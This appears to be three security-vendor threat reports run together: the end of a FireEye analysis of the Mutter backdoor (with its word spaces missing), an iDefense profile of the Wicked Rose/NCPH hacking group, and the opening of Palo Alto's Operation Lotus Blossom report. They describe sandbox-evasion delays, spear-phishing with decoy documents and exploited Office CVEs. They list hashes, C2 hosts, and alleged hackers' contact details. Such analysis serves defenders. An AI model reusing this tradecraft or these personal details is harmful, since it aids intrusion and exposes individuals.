Interestingly,theoriginalsizeofthisparticularDLLisaround160kilobytes,althoughthePEheadersalreadyindicate itsfuturesizeasshownbelow.
ThedropperwilldecodethisDLLfromitsresourcesection,dropitontothevictims system,andproceedtofillitsresourcesectionwithrandomlygenerateddata.
Thishasanotherusefulsideeffectof givingeachDLLauniquehash,makingitmoredifficulttoidentify.
https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-dropper-properties.png https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-dll-properties.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 5/12 Inadditiontothesehidingtechniques,thismalwarealsoappearstoemploytechniquestopossiblyevadedynamic malwareanalysissystems.
Thishasbeenanongoingtrendinmalwaredevelopmentthatweandothershave observedseveraltimesinpast.
Themalwareauthorwilladdcodetodelaytheexecutionoftheimportant functionalityforsomeperiodoftimewiththeideabeingthatifthemalwarestallsforlongenough,thedynamic malwareanalysissystemwillgiveuponitandpassitoffasbenign.
Thismalwarehastworoutinesthatwecouldfind nootherpurposethanforsuchanevasion.
Oneroutineisafunctionthatsimplyrunsaseriesofloops,incrementingalocalvariableoverandover,thousandsof times.
Itultimatelydisregardsthefinalvalueofthisvariable,meaningthatthefunctionservesnopurpose.
This functioniscalledmanytimesthroughouttherestofthecode.
Itmayhavebeenimplementedforthepurposeof wastingtime.
Anotherroutineseemstohaveasimilargoal,butwithadifferentapproach.
Thistime,aloopisimplementedwitha calltosleepforashorttime.
Thisloopoccursmanytimes,andeachtimeitwillalsoallocateachunkofmemoryon theheap,performingmathoperationsonitandprintingittotheconsoleoverandoveragain.
Keepinmindthatthis memoryisnotinitializedtoanyvalueandisnotusedforanythinglaterinthecode,itisessentiallyjunkmemory.
This seemstobeanothermeansofwastingtime.
WedetectthismalwareasBackdoor.
APT.NS01.
https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-dll-size.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 6/12 CC DETAILS MostofthedomainsregisteredforCCuseinthiscampaignweredonesothroughthefreedynamicDNSProvider ChangeIP.com.
DynamicDNSisapopularoptionfordomainregistrationsinceitisfreeandprovidesaconvenient levelofanonymity.
LookingatpassiveDNSrecordsforotherdomainspointingtotheIPaddressesusedtohostthe CCservicesturnedupmanyotherrelateddomains.
Varioussubdomainsofthedomainwinsupdate.comhave pointedtoseveralIPspointedtobytheMutterdomains.
Thisisinterestingbecausethisisthenameofthefolder createdbyMutteronvictimssystems.
Furthermore,thisdomainisnotapubliclyavailabledynamicDNSprovider andtheemailaddressusedtoregisterthisdomainis binalakshminpyahoo.com.
Wecannotbecertain,but thisnamecouldbeinreferencetoBinalakshmiNepram,awriteractivistborninManipurIndiawhoisfightingfor disarmament.
Thisfitsthethemewehaveobservedfromothercluesleftbehindindecoydocuments.
Another domainthatisindirectlylinkedis agfire.comwiththisinterestingregistrationinformation.
AgniistheHindugodoffire.
NoticethecombinationofIndiaandChinareferenceshere.
Theemailaddressusedto registerthisdomainwasalsoreferencedinaChinesedeveloperforum,butnothingelseinterestingwasdiscovered aboutit.
TheIPaddresseshostingtheCCservicesarescatteredallovertheworldandarebelievedtobecompromised hosts.
ATTACKERS, TARGETS, AND TIMELINE https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-agfire-info.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 7/12 TheattackersappeartobethewellknownandprolificCommentGroupaswehadstatedinourpreviousblogon OperationBeebus.
ThislinkwasmadethroughfindingseveraloverlappingIPaddressesusedbyMutterandBeebus suchasthefollowing.
ThethemeoftheseattacksappearstobeSouthAsiapolitics.
Thehintsscatteredthroughoutthedocumentsand domainregistrantinformationwerelaidonprettythickwhichissomethingbewaryof.
Theonlylegible,sensible decoydocumentobservedsofarisrevealingoftheinterestsofatleastoneofthetargetsofthiscampaign:namely themilitarythreatofPakistanagainstIndiaanditsgrowingrelationshipswithothercountriesincludingChina.
The particulartopicofthisdecoydocumentalsoappearstobeacommonlinkbetweenmostofthetargetswehaveseen: unmannedvehicles.
ThetimelinebelowoutlinestheeventsspecifictoMutterthatwehadvisibilityinto.
Thiscampaignisstillongoingwith Muttercallbacksbeingmadetothisday.
https://www.fireeye.com/blog/threat-research/2013/02/operation-beebus.html https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-c2-link.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 8/12 APPENDIX Documents ExploitDocumentMD5: b5f4a9aac67b53762ed98fafd067c803 Exploit: CVE20120158 ExploitDocumentFilename: NA DecoyDocumentTitle: PakistansIndigenousUAVindustry DecoyDocumentAuthor: GOPALGURUNG DecoyDocumentLastModified: Aug2nd2010 FirstSeen: Aug27th2012 ExploitDocumentMD5: 92643bfa4121f1960c43c78a3d53568b Exploit: CVE20083005 ExploitDocumentFilename: 2012_3_12.xls DecoyDocumentTitle: NA https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-timeline.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 9/12 DecoyDocumentAuthor: NA DecoyDocumentLastModified: Jan26th2003 FirstSeen: Mar22nd2012 ExploitDocumentMD5: 4d5a235048e94579aab0062057296186 Exploit: CVE20103333 ExploitDocumentFilename: ChangeofAddress.doc DecoyDocumentTitle: Tele:26194428 DecoyDocumentAuthor: kdly DecoyDocumentLastModified: Dec6th2011 FirstSeen: Dec7th2011 ExploitDocumentMD5: 589f10e2efdd98bfbdc34f247b6a347f Exploit: CVE20103333 ExploitDocumentFilename: Urgentmessage.doc DecoyDocumentTitle: NA DecoyDocumentAuthor: Administrator DecoyDocumentLastModified: Feb2nd2003 FirstSeen: Mar2nd2012 ExploitDocumentMD5: fd9777c90abb4b758b4aff29cfd68b98 Exploit: CVE20120158 ExploitDocumentFilename: NA DecoyDocumentTitle: TariqMasud DecoyDocumentAuthor: HaroonurRashid/Administrator DecoyDocumentLastModified: Sept112012 FirstSeen: Malware DropperFilename: update.exe DropperMD5: 725fc0d7a8e7b9e01a83111619744b6f DLLFilename: msdsp.dll Mutex: 654234576804d CCHost: cdind.antivirup.com:8081 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 10/12 DecodediValue: V0.9.6YSN1hostnameIPaddress CompileTime: Aug28th2012 DropperFilename: igfxtray.exe DropperMD5: 681a014e9d221c1003c54a2a9a1d9df8 DLLFilename: winsups.dll Mutex: mqe45tex13fw14op0 CCHost: http.4pu.com:80 DecodediValue: V0.7SN0hostnamehIPaddress CompileTime: Aug28th2012 DropperFilename: NA DropperMD5: 6aac76fc8309e29ea8a7afea48ae9b29 DLLFilename: msdsp.dll Mutex: 654234576804d CCHost: oracledata.ns01.us:80 DecodediValue: V0.9.6XSN1hostnameIPaddress CompileTime: Aug12th2012 DropperFilename: ctfmon.exe DropperMD5: d5640ae049779bbb068eff08616adb95 DLLFilename: winsups.dll Mutex: mqe45tex13fw14op0 CCHost: mydns.dns2.us:443 DecodediValue: V0.7SN0hostnameIPaddress CompileTime: Aug2nd2010 DropperFilename: igfxtray.exe DropperMD5: 681a014e9d221c1003c54a2a9a1d9df8 DLLFilename: winsups.dll Mutex: mqe45tex13fw14op0 CCHost: http.4pu.com:80 DecodediValue: V0.7SN0hostnameIPaddress CompileTime: Aug2nd2010 DropperFilename: igfxpers.exe 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets  Threat Research Blog  FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 11/12 DropperMD5: 06d5dddd4c349f666d84a91d6edc4f8d DLLFilename: msdsp.dll Mutex: NA CCHost: NA DecodediValue: NA CompileTime: ThankstoDarienKindlundforhisassistanceinresearch.
ThisentrywaspostedonWedApr1715:49:57EDT2013andfiledunderAdvancedMalware,Blog,JamesT.
Bennett,TargetedAttackandThreatResearch.
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Wicked Rose and the NCPH Hacking Group by Ken Dunham  Jim Melnick Zero-day attacks, where an attack occurs before public knowledge of a vulnerability is known, is a growing cause of concern for security professionals in the 21 st century.
An unprecedented number of zero-day attacks took place in 2006, largely involving Microsoft Office Files.
Ken Dunham, Director of the Rapid Response Team, and Jim Melnick, Director of Threat Operations, led the VeriSign iDefense intelligence team to track down Chinese hackers for hire out of China, responsible for many of the attacks in 2006.
Wicked Rose is the ring-leader of the NCPH hacking group and this is the story of their maturation into significant global threat by 2006.
1 Introduction to N.C.P.H.
N.C.P.H.
(Network Crack Program Hacker) has about ten members or associates.
Four core members exist as of 2006: (Wicked) Rose KuNgBiM Rodag Charles There are also some six other associates within NCPH and two other positions (possibly unfilled positions) whose purpose is unclear.
However, Rose or Wicked Rose seems to be the primary leader.
Membership rules, recruiting goals and standards are unknown.
However, some members appear to be current or former students of Sichuan University of Science and Engineering.
1 The group is responsible for development and deployment of exploit codes related vulnerabilities in Microsoft Word Malformed OLE Structure Code Execution and Microsoft Excel Malformed BIFF Structure Code Execution.
2 Public Knowledge of a Zero-Day Word Exploit The story of NCPH zero-day attacks begins publicly on May 18, 2006.
On this day the Internet Storm Center reports a new possible zero-day attack.
iDefense worked closely with SANS and other organizations to analyze the threat landscape as it related to exploitation of this vulnerability.
Within the next 36 hours, iDefense gained access to multiple codes and extracted a new rootkit called GinWui.
Independent research proved the following: Exploitation targeted a new vulnerability that allowed attackers to successfully exploit computers running fully patched versions of Microsoft Word 2002 and others.
Exploitation dated to May 12, 2006 and involved at least six unique hostile exploit files.
iDefense confirmed that attacks targeted two organizations, one in the United States and one in Japan.
Chinese-authored rootkits GinWui.
A and GinWui.
B exist in several attacks.
iDefense identified the rootkits source and authors as Chinese actor Wicked Rose and others profiled later in this report.
1 www.suse.edu.cn  http://www.study-in-china.org/school/Sichuan/suse/ http://www.suse.edu.cn/ http://www.study-in-china.org/school/Sichuan/suse/ Successful installation of the rootkit requires Administrator or Debugger rights.
Initial exploitation, however, does not require Administrator rights.
iDefense identified unique malicious code attacks pointing to nease.net and authored several Snort signatures for this traffic.
iDefense continues to monitor other domains related to the attack.
The original attack upon a large DoD entity within the USA began on May 12, 2006.
Targets of the attacker were apparently Googled by the attacker.
Three variations of a Microsoft Word zero-day attack are involved in the attack.
A few dozen attack files are first distributed to less than a dozen targets to identify which version works within the organization.
Once attackers identify the vulnerable version of Microsoft Word used within the organization close to 200 messages sent out to multiple targets within the organization within 24 hours.
This second wave of attack is distributed as Planning document 5-16-2006.doc.
This code is improved beyond the first variant sent out earlier to identify the vulnerable version of Word within the targeted network.
A third attack commences on May 17, 2006.
During this period, the Internet Storm Center and others get involved and the case becomes public.
In the end, iDefense identified six unique samples, of which three are more prevalent than other variants.
3 The GinWui Backdoor Rootkit Payload Zero day attacks commenced in May 2006 attempted to install a GinWui backdoor Trojan horse and Windows rootkit.
A DLL file called winguis.dll and several SYS files install themselves when a computer is successfully attacked through an exploit.
Two versions of the GinWui rootkit are installed during several attacks in May and June 2006.
NCHP 5.0 Screenshot (GinWui Rootkit) Wicked Rose is the author of the GinWui malicious code.
His code and support posts related to GinWui distributions exist on the Chinese NCPH and Evil Octal forums.
Wicked Rose associates with WHG and others on this form.
WHT hosted version 3.0beta.3 of the NCPH remote control rootkit code on May 2, 2006.
This distribution of GinWui was largely unknown and undetected by anti-virus companies at the time of release.
Versions of GinWui used in targeted attacks of May and June 2006 are private versions, not released to the public.
This proves that Wicked Rose either constructed the zero day attacks or sold private code to users that performed the attack.
Wicked Rose later documents additional updates to his rootkit code, version .50, at http://rodag.blogbus.com/index.html.
By this time Wicked Rose was performing full-time development of this malicious code as a hacker for hire.
4 June 21, 2007  Continued US Targeted Attacks Just over a month later, following initial GinWui based targeted attacks, another Microsoft Word exploit occurs on June 21, 2006.
A spoofed e-mail is sent to a target containing a hostile Microsoft Word document.
Analysis of the attack reveals that its likely a test file used to identify what version of Word may be running within the targeted organization, rather than a refined targeted attack upon a known version of Microsoft Word.
Chinese text within the Word document reveal Chinese characters discussing a systematic evaluation of offsets for Microsoft Word exploitation: RipGof attacks reveal a Chinese string related to systematic testing of offsets for exploitation.
5 Backtracking Targeted Attacks: RipGof In June 2006 another targeted attack emerges, but its not GinWui this time but a new code, RipGof.
B.
The attack attempts to exploit MS06-027 to install RipGof.
B, a Trojan horse.
This is the same exploit code used in the former Zero-Day attacks linked to Wicked Rose and the NCPH hacking group.
The exploit code is still private at this time, proving that the author of both GinWui and RipGof attacks are the same individual or group or affiliated through underground criminal operations.
RipGof.
B is an improvement of the former exploit used in GinWui attacks.
RipGof.
B attacks included improvements to shellcode that attempts to fork to different locations based upon the address value of the stack to exploit multiple versions of Microsoft Word.
Once installed, RipGof.
B attempts to connect to enjoy.irdet.com and enjoy.bmwsee.com over TCP port 80.
It runs as a rootkit and backdoor Trojan horse and phones home to a  Chinese server with stolen data.
RipGof malicious code does not exist as a distribution in the underground, leading investigators to look into the original RipGof.
A malicious code.
Over a year prior to the 2006 targeted attacks RipGof.
A emerges in the wild.
RipGof.
A attempted to exploit the Jet Engine Database exploit in March 2005.
This proves attempted exploitation and installation of code through RipGof for a year prior to more sophisticated codes and attacks.
In summary, RipGof and GinWui attacks both use the same private exploit code against Microsoft Word and both install rootkit based codes to steal and send information back to Chinese sources.
This circumstantial evidence reveals that Wicked Rose and the NCPH group likely began their exploitation efforts at least a year and a half to two years prior to sophisticated attacks that commenced in 2006.
Once the group found a vulnerability within Microsoft Word they were able to improve upon it and their targeted attack techniques to distribute multiple targeted attacks and malicious codes for criminal gain as hackers for hire.
6 Timeline of Events Wicked Rose and the NCPH hacking group are implicated in multiple Office based attacks over a two year period.
An attack in 2006 used RipGof.
B in the attack.
RipGof.
A first emerged a year earlier using an exploit that is relatively unsophisticated.
Over the next year the Evil Security Team, also out of China, creates the Dasher worm and uses the PcShares Trojan in an attack.
Wicked Rose gives a recommendation on the Trojan the day it is updated in the spring of 2006, showing a close affiliation between Wicked Rose and the Evil Security Team actors.
Multiple attacks that take place in May and June and later 2006 are related to privately held exploit code for both Microsoft Word and Excel, proven to be developed by Wicked Rose.
A timeline of proven associated events related to Wicked Rose attacks is below: April 22, 2005 - RipGof.
A JetEngine DB Attack Dec. 19, 2005  Dasher worm and PcShare Trojan attack by Evil Security Team April 27, 2006 Update to windowsupdates.net attack site April 30, 2006 - Wicked Rose Drops out of School May 2, 2006  3.0beta3 NCPH remote control (GinWui) public release May 12, 2006 - Initial probing and GinWui.
A exploitation attempts against US target May 15, 2006 - PcShare Trojan update recommended by Wicked Rose on day of new release May 16, 2006 - Update to windowsupdates.net attack site May 16, 2006 - Multiple GinWui.
A attacks against US target May 18, 2006 - SANS reports zero-day attack May 19, 2006 Update to windowsupdates.net attack site May 20, 2006 - GinWui.
B Attack May 20, 2006 - WZT Kicked out of NCPH May 29, 2006 - GinWui.
C Attack June 1, 2006 Update to windowsupdates.net attack site June 9, 2006  Mdropper.
F Attack June 14, 2006  Daserf.
A Attack June 15, 2006  Mdropper.
G Attack June 15, 2006  Booli.
A Trojan Attack June 16, 2006 - Flux.
E Attack June 18, 2006 - RipGof.
B Attack June 23, 2006  PPDropper.
A June 23, 2006  Booli.
B Trojan attack June 25, 2006 - GinWui.
D Attack June 26, 2006 - GinWui.
E Attack Sept. 27, 2006  PPDropper.
F Attack Sept. 30, 2006  GinWui.
G Attack Oct. 9, 2006  Wicked Rose reports pay increase likely in September 7 A Pictorial Introduction to Wicked Rose and NCPH Just who are Wicked Rose and the NCPH hacker group?
As it turns out, a collection of college students in China who likely room with one another and regularly support their hacking interests.
In-depth research implicates Wicked Rose as the ring-leader of the group, responsible for managing hacker for hire relationships and paying group members for their work as hackers.
During the time of targeted attacks in 2006 their income increased significantly, to full-time wages for part time hacking.
Wicked Rose, leader of the group, is pictured below: (MeiGui HeiKe)  Rose Hacker QQ number is 5372453   www.mghacker.com Wicked Rose maintains a personal site at www.mghacker.com.
http://www.mghacker.com/ http://www.mghacker.com/ Wicked Roses Website: www.mghacker.com Rose is an approximate 20-year-old (2006) student at the Sichuan University of Science Engineering.
In the spring of 2006 Wicked Rose claims to have dropped out of school for full time hacking opportunities.
Specifically, on April 30, 2006 his blog entry claims he did not register for his university exam.
He performed significant updates to his rootkit code from March through June 2006.
He later returned to school by September 2006.
Wicked Rose claims responsibility on his blog for targeted e-mail based attacks containing Microsoft Word and CHM exploits from the spring of 2006.
Other NCPH-member websites include: http://rodag.blogbus.com, http://www.cppblog.com/charles and http://kungbim.blogbus.com.
The main NCPH website is www.ncph.net: NCPH Studio website www.ncph.net Registration information for ncph.net reveals a Chinese registrant: http://www.mghacker.com/ http://rodag.blogbus.com/ http://www.cppblog.com/charles http://kungbim.blogbus.com/ http://www.ncph.net/ http://www.ncph.net/ Registrant Contact: ncph studio (ncph2005126.com) si chuan li gong xue yuan zigong, Sichuan, cn 643000 P: 86.13154663992 F: 86.13154663992 The main location of the NCPH group is in Zigong, Sichuan Province, in south-central China.
Zigong, Sichuan Province, in south-central China The NCPH group (NCPH Studio) in Zigong, China, is shown here: NCPH hackers at work in the ncph studio Left to right:  Wicked Rose, KuNgBiM, Charles and Rodag Additional photos featuring Wicked Rose and NCPH hackers are below, captured from their various websites and blog entries in 2006.
Chinese translation for each photo are below: Wicked Rose From an ancient Chinese poem, expressing the devotion of his heart for hacking.
After you choose the technology you love, you have to research every system and code everyday Charles:  Silence belongs to our world... Charles Charles always laughs so brightly when searching for program problems Ronag Behind every successful design, he always has a slight smile KuNgBiM Only we can feel this kind of happy... Wicked Rose and NCPH hacking photos WHG (Fig) WHG is not a core member of NCPH but a close affiliate of Wicked Rose.
WHG appears to be central to development of the NCPH rootkit, aka GinWui.
WHG is credited by Wicked Rose as one of the authors of this malicious code.
WHG is an experienced malicious code author with the following contact information: E-mail address:  whg163.com QQ Number:  312016 Website:  http://cnasm.com Real Name:  May be Zhao Jibing,.
Location:  Believed to be employed in the Sichuan province of China.
WZT WZT is a former member of the NCPH group who was kicked out during the time of zero-day attacks in May 2006.
WZT was removed on May 20, 2006.
During this time period the zero- day attacks became publicly disclosed, increasing pressure upon the hacking group.
It is feasible that WZT may have offended the group in some way related to zero-day attack techniques, strife over hacker for hire deals, or competition for hacker for hire deals.
WZT is a former coding expert within the NCPH group and many years experience in hacking.
He is responsible for creating multiple tools and regularly giving credit to the infamous Li0n Chinese hacker (founder of Honker Union (HUC) Chinese group.
WZT maintains a website at tthacker.cublog.cn.
The Jiangsu Connection?
WHOIS registrant data for related domains used within attacks and hacker sites reveals a connection with the Jiangsu province of China.
One domain, windowsupdates.net, is used in attacks and revolves to an IP address in the Sichuan province.
Meanwhile, the registrant zhaofeng network is reportedly based out of Jiangsu, not Sichuan.
Some of the WHOIS information clearly contains fraudulent information to presumably direct researchers away from the true identity and location of the attacker responsible for registering the hostile domain.
The connection to the Jiangsu and Sichuan provinces remains unclear.
8 Concluding Comments Prior to Wicked Rose and NCPH hacker for hire attacks in 2006, Chinese hackers are only known for their patriotic hacking.
This disturbing development reveals two critical threats: 1) motives of Chinese hackers are changing 2) Chinese hackers are regularly associated with sophisticated attacks as of 2006.
Wicked Rose implicates himself in his early blog entries and website posts in 2006 and prior.
An unknown company or entity reportedly paid Wicked Rose for hacking at the rate of 2,000 RMB a month, about 250 USD.
At this time Wicked Rose gave 200 RMB to NCPH hackers and kept the rest for himself.
Once targeted attacks took place the payment increased five-fold to 5,000 RMB monthly with 1,000 a month going to NCPH hackers.
This is a significant amount of money in China, effectively paying hackers a full-time wage for part-time hacking.
mailto:whg163.com http://cnasm.com/ Throughout the summer of 2006, while Wicked Rose was not in school, over 35 zero-day attacks, proof-of-concept codes, and attacks against un-patched Microsoft Office vulnerabilities are discovered in the wild.
With Wicked Rose claiming responsibility for early attacks and the lead author of both GinWui and the NCPH hacking group, there is little doubt left as to his involvement in attacks to date.
By the end of 2006 attacks become increasingly sophisticated.
In one instance a popular PowerPoint file distributed during the Christmas holiday season for the last two years prior is used within a socially engineered attack upon one individual within an energy sector US based company.
The PowerPoint file is modified to include an exploit that silently installs malicious code.
This same individual receives another e-mail containing a Microsoft Word exploit.
In this case only one individual within the company is targeted, and with just two messages socially engineered for maximum success.
This is a much more targeted and stealthy approach for attacks compared to the earlier attacks performed by the group in the late spring of 2006.
NCPH continues to be a significant threat going forth for several reasons.
1.
Attacks continue to take place in the wild and are very difficult to identify on a targeted basis.
Only the most sophisticated networks and system administrators are able to properly protect and capture hostile targeted attack files before an attack takes place.
2.
NCPH is a serious dedicated hacking group that is methodical and disciplined in their development of new exploits and attacks.
3.
NCPH is motivated by both the thrill and challenge of hacking and money as a motive.
4.
Attacks by the group are highly targeted and stealthy, very difficult to detect and remove.
PALO ALTO NETWORKS  4401 Great America Parkway  Santa Clara, CA 95054 www.paloaltonetworks.com OPERATION LOTUSBLOSSOM R E P O R T  B Y    R O B E R T  FA LC O N E ,  J O S H  G R U N Z W E I G , J E N  M I L L E R - O S B O R N ,  R YA N  O L S O N Introduction   3 Operation Details   3 Vietnam    4 Philippines   10 Taiwan and Hong Kong   11 Indonesia   12 Elise Backdoor Analysis   12 Variant A   13 Variant B   17 Variant C   20 Previous Research   23 Conclusion   24 Appendix   25 Elise Sample Details   25 Elise Executable SHA256 values   33 Elise Delivery Document SHA256 values   34 Elise Command and Control Servers   35 TABLE OF CONTENTS P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 Introduction Operation Lotus Blossom describes a persistent cyber espionage campaign against government and military organizations in Southeast Asia, stretching back over three years.
Nations we have identified as targeted in this campaign include Hong Kong, Taiwan, Vietnam, the Philippines and Indonesia.
The Lotus Blossom group deploys a backdoor Trojan, named Elise, after the sports car made by Group Lotus PLC of the United Kingdom.
The group relies on spear phishing attacks to infect its users, often using a malicious office document and decoy file containing content relevant to the targets occupation or interests.
The spear phishing attachment typically includes exploit code for a well-known Microsoft Office vulnerability, CVE-2012-0158, which is used to install the Trojan on the system and then display the decoy file, tricking the user into thinking the file opened correctly.
Example decoy files include: A spreadsheet listing high-level officers in the Philippine Navy, along with their dates of birth and mobile phone numbers.
The operational humanitarian and disaster response (HADR) plan for the Armed Forces of the Philippines, stamped Secret.
An invitation to the screening of a film at the Norwegian embassy.
While we have not identified specific individuals responsible for these attacks, the evidence suggests a nation state with a strong interest in Southeast Asia.
Elise is a custom backdoor Trojan, not readily available online.
The tool appears to be used exclusively by Lotus Blossom and was likely developed specifically for their operations.
The targets attacked by this group are almost exclusively military and government organizations, whose data is most valuable to other nation states, rather than criminal actors.
The fact that this campaign has been ongoing for over three years indicates the individuals behind the attack are well-resourced.
Using the Palo Alto Networks AutoFocus platform, which enables analysts to correlate the results of the hundreds of millions of reports generated by the WildFire service, Unit 42 has linked over 50 individual attacks to this campaign.
The Operational Details section of this report provides details on specific attacks against the targeted governments.
The Elise Backdoor Analysis section contains descriptions of how the three different variants of Elise operate and how they changed over time.
Domain names and IP addresses used for command and control, as well as hashes of the files used in the attacks are included in the appendix.
Operation Details Operation Lotus Blossom repeatedly targeted several Southeast Asian countries militaries and government agencies, beginning in 2012 and continuing through 2015.
The bulk of the activity discussed in this paper involves heavy targeting against both Vietnam and the Philippines during 2013 and 2014.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      4 All of the attacks use the custom backdoor Trojan named Elise, which gives the Lotus Blossom group their initial foothold in a network.
From there, they can install additional tools, move laterally, and exfiltrate data from the network.
Elise is described in more detail later in this report.
The operation relies heavily on spear phishing as the initial attack vector, with enticing subject lines and legitimate-looking decoy documents meant to trick users into believing they are opening a legitimate file, as opposed to malware.
A popular theme for the decoy documents was personnel rosters, largely claiming to be for specific military or government offices.
Another theme was the use of attractive pictures of Asian women that were sourced from the Internet.
Some of the information contained in the decoys could be found on the Internet however, it is worth noting none of the military or government themed decoys could be found.
In particular, the decoys used against the Philippines were exclusively military and government themed, with the bulk purporting to be related to the Navy.
As we were unable to find any of the decoys online, and they purport to contain sensitive information, we have not included images of them, in case the information is legitimate.
One document is even stamped Secret.
While all of the Lotus Blossom attacks appear to be the work of a single group, the infrastructure used to target each nation is largely separate (Figure 1).
Each Trojan binary in this diagram is connected to command and control (C2) IP addresses and domains that are defined in the Trojans configuration file.
Additionally, the domains are connected to email addresses used to register them, as well as IP addresses they resolve to at the time of the attack.
These links create a visual map of the attacks, which shows that, while the infrastructure is not identical in each attack, they are all connected.
In the following sections, we will take a closer look at the attacks on each nation.
Vietnam The Lotus Blossom campaign against the Vietnamese government was the most persistent and consisted of 11 waves of spear phishing, primarily during November 2014.
There were a total of eight droppers  one Microsoft Excel document and five Microsoft Word documents.
All included a decoy document intended to trick users into believing they had opened a legitimate file rather than malware, and the content of each was different.
FIGURE 1    Elise backdoor samples and C2 infrastructure in distinct but overlapping groups.
Vietnam Indonesia Philippines Hong Kong Taiwan P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      5 The attacks on Vietnam break into two distinct groups.
All but three samples used overlapping C2 infrastructure (Figure 2), including two domains registered by 2759931587qq.com, which was also used registered C2 domains used in attacks against other Southeast Asian countries.
This group of attacks used the following campaign codes to identify their infections, many of which include the string Alice, which may have a significance we have not yet identified.
Alice_erpas Alice_rosey Alice_15A Alice_Spider Alice_vishipel jessica-cpt-app oyf ooo FIGURE 2    Elise samples and infrastructure used to target the Vietnamese government.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      6 The second group of attacks (Figure 3) used a different registrant not seen elsewhere in this activity, but overlap with targeting, campaign code structure, and one C2 IP address.
While the other domains maintained the information they were originally registered with, one domain used here was registered by paulzzyeah.net and then updated to studywindows123outlook.com.
The initial registrant also registered other domains detailed in this paper, targeting other Southeast Asian countries prior to their updating, indicating this may be a reseller favored by particular APT group(s).
It could also be a simple matter of actor preference, but we cannot say for sure one way or the other.
The other domain used a registrar that does not show any registration information.
The three campaign codes used with these samples are below.
QY030610 KITY01232 KITY090901 FIGURE 4   Instructions on how to install and use LogFusion, a legitimate tool used to parse log files.
FIGURE 3    Diagram of second group of Vietnam attacks.
Most of the attachments used in this campaign had a technical theme, shown in figures two through four.
Additionally, all were written in Vietnamese.
We are not including an image of one sample, as it claims to be a certification test for a particular type of VSAT terminals.
It is unknown how the actors obtained a test for this course, assuming the questions are legitimate.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      7 FIGURE 5   The agenda for Vietnams Ministry of Information and Communication workshop with Vibrand, which was held on 4 December 2014.
The purpose of the workshop was promoting the development of products and IT services in Vietnam.
FIGURE 6   Excel spreadsheet titled VPTW Transfer Network Phase 2 and lists a number of provinces in Vietnam as well as Taiyuan in China.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      8 The final four sample decoy documents had very different themes.
One was an invitation to an event at the Norwegian Embassy in Vietnam commemorating the anniversary of the Kon-Tiki voyage (Figure 7).
Of note, the date of the invitation is incorrect  the actual event took place 11 and 12 December 2014.
The requested email address accepting RSVPs also seems just slightly suspicious, and they helpfully instructed the recipients to forward the invitation, if they were unable to attend.
Two of the decoys contained one or more images of attractive Asian women taken from the Internet, one of which (shown in Figure 8) was used multiple times.
The final decoy contained a Merry Christmas image with broken English text.
FIGURE 7 Fake invitation to an event commemorating the Kon-Tiki voyage.
FIGURE 8   Photo of Hong Thy Linh, a Vietnamese actress and singer.
FIGURE 9   A Merry Christmas image with broken English text.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      9 The second group of attacks also used decoy documents written in Vietnamese.
One document purported to be a contact roster and contains the names and Vietnamese webmail email addresses for multiple high-level Vietnamese officials.
The first page of the second decoy is shown below (Figure 10) and claims to be an IT upgrade plan for 2015 for the Vietnamese government.
The final sample also appears to be related to an IT upgrade plan, with implementation dates and responsible individuals (Figure 11.)
FIGURE 10   Claims to be an IT upgrade plan for 2015 for the Vietnamese government.
FIGURE 11   Also appears to be related to an IT upgrade plan, with implementation dates and responsible individuals.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 0 Philippines The Lotus Blossom operation has targeted the Philippine government, with a particular focus on the military, since at least 2013.
We identified six unique Elise droppers, each with its own decoy document and content.
These samples all had overlapping command and control infrastructure (Figure 12).
All six decoy documents were related to the Philippine military or government, primarily claiming to contain contact information for high-level officers and officials.
We are not including images, as it is possible the information is legitimate, but the subject lines with brief descriptions are included in Table 1 below.
FIGURE 12 Connections between Elise samples and C2 servers used in attacks on the Philippines.
Decoy Name Decoy Description DFA GAD Directory Claims to be a directory of personnel in the Philippine Department of Foreign Affairs Gender and Development, including private emails and cellphones.
HADR PLAN 29 May 14 Claims to be the operational humanitarian and disaster response (HADR) plan for the Armed Forces of the Philippines and is stamped Secret.
C,1AD NR 03-0226-313-14 Claims to document a problem logging into an account for a specific real-time aircraft tracking system and appears to be a Philippine Air Force document.
RQST MOUTPIECE LOUD HAILER Claims to be a requisition form for a mouthpiece for a specific hailer for a specific unit.
